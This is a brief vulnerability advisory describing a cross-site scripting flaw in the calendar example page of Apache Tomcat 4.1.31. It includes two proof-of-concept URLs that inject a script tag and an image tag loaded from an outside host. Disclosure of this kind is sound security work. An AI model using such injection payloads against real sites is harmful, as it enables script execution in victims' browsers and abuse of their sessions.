Apache Tomcat/4.1.31 ships with built in examples. One of the example calendar.jsp suffers from input validation error and could be exploited for cross site scriptingand cross site request forgery.

XSS
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3ealert("XSS!")%3c%2fsc ript%3e

XSRF
http://myserver:myport/examples/jsp/cal/cal2.jsp?time=><img%20src="http://xsrfxonfirmed.com/testimage.gif">

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Tushar Vartak